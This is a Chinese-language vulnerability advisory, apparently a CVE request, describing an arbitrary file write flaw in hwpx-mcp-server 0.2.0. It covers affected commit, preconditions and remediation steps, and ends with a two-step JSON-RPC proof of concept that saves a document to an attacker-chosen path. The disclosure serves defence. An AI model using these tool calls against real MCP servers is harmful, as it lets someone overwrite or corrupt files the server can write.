# 漏洞总结:hwpx-mcp-server 任意文件写入漏洞 ## 漏洞概述 * **漏洞名称**:hwpx-mcp-server 任意文件写入漏洞 (CVE ID Request) * **漏洞类型**:CWE-73 (外部对文件名或路径的控制) * **受影响组件**:`mcp-server/src/index.ts` * **漏洞描述**:在 `hwpx-mcp-server` 版本 0.2.0 中,`save_document`、`export_to_text` 和 `export_to_html` 工具接受用户控制的 `output_path` 参数,并在写入文件前未验证目标路径是否位于安全的工作区目录内。攻击者可通过网络访问 MCP 接口,创建或覆盖服务器进程可写的任意位置文件,导致完整性丢失、配置损坏或服务拒绝。 ## 影响范围 * **受影响版本**:0.2.0 * **受影响 Commit**:`8785f8d67f9488d79fcdf061a2993b3ae1416156` * **攻击前提**: 1. 攻击者可通过配置的 MCP 客户端、MCP Inspector 或其他客户端调用 MCP 服务器工具。 2. MCP 服务器进程对攻击者选择的目标路径具有文件系统写入权限。 3. 不存在外部沙箱、容器策略或操作系统级访问控制阻止写入。 ## 修复方案 1. **路径规范化**:使用 `path.resolve` 或等效方法规范化用户提供的路径,并强制所有输出路径保持在显式配置的工作区目录内。 2. **拒绝危险路径**:拒绝绝对路径、父目录遍历、符号链接、设备路径及其他特殊文件系统目标,除非明确意图并经过授权。 3. **白名单目录**:为 `save_document`、`export_to_text` 和 `export_to_html` 添加基于白名单的输出目录。 4. **输入输出一致性**:对 `open_document` 和 `insert_image` 等输入路径应用相同的安全策略。 5. **回归测试**:添加回归测试,证明 MCP 控制的路径无法读取或写入配置工作区之外的位置。 ## POC 代码 **1. 创建新文档** ```json { "jsonrpc": "2.0", "id": 1, "method": "tools/call", "params": { "name": "create_document", "arguments": { "title": "poc", "creator": "poc" } } } ``` **2. 使用返回的 doc_id 将文档保存到攻击者控制的路径** ```json { "jsonrpc": "2.0", "id": 2, "method": "tools/call", "params": { "name": "save_document", "arguments": { "doc_id": "doc_id from step 1", "output_path": "/tmp/hwpx-mcp-arbitrary-write.hwpx", "create_backup": false, "verify_integrity": false } } } ``` **3. 验证** * 确认 `/tmp/hwpx-mcp-arbitrary-write.hwpx` 由 MCP 服务器进程创建。 * 使用其他任何服务器进程可写的路径重复上述步骤,以确认 `output_path` 未限制在安全文档目录中。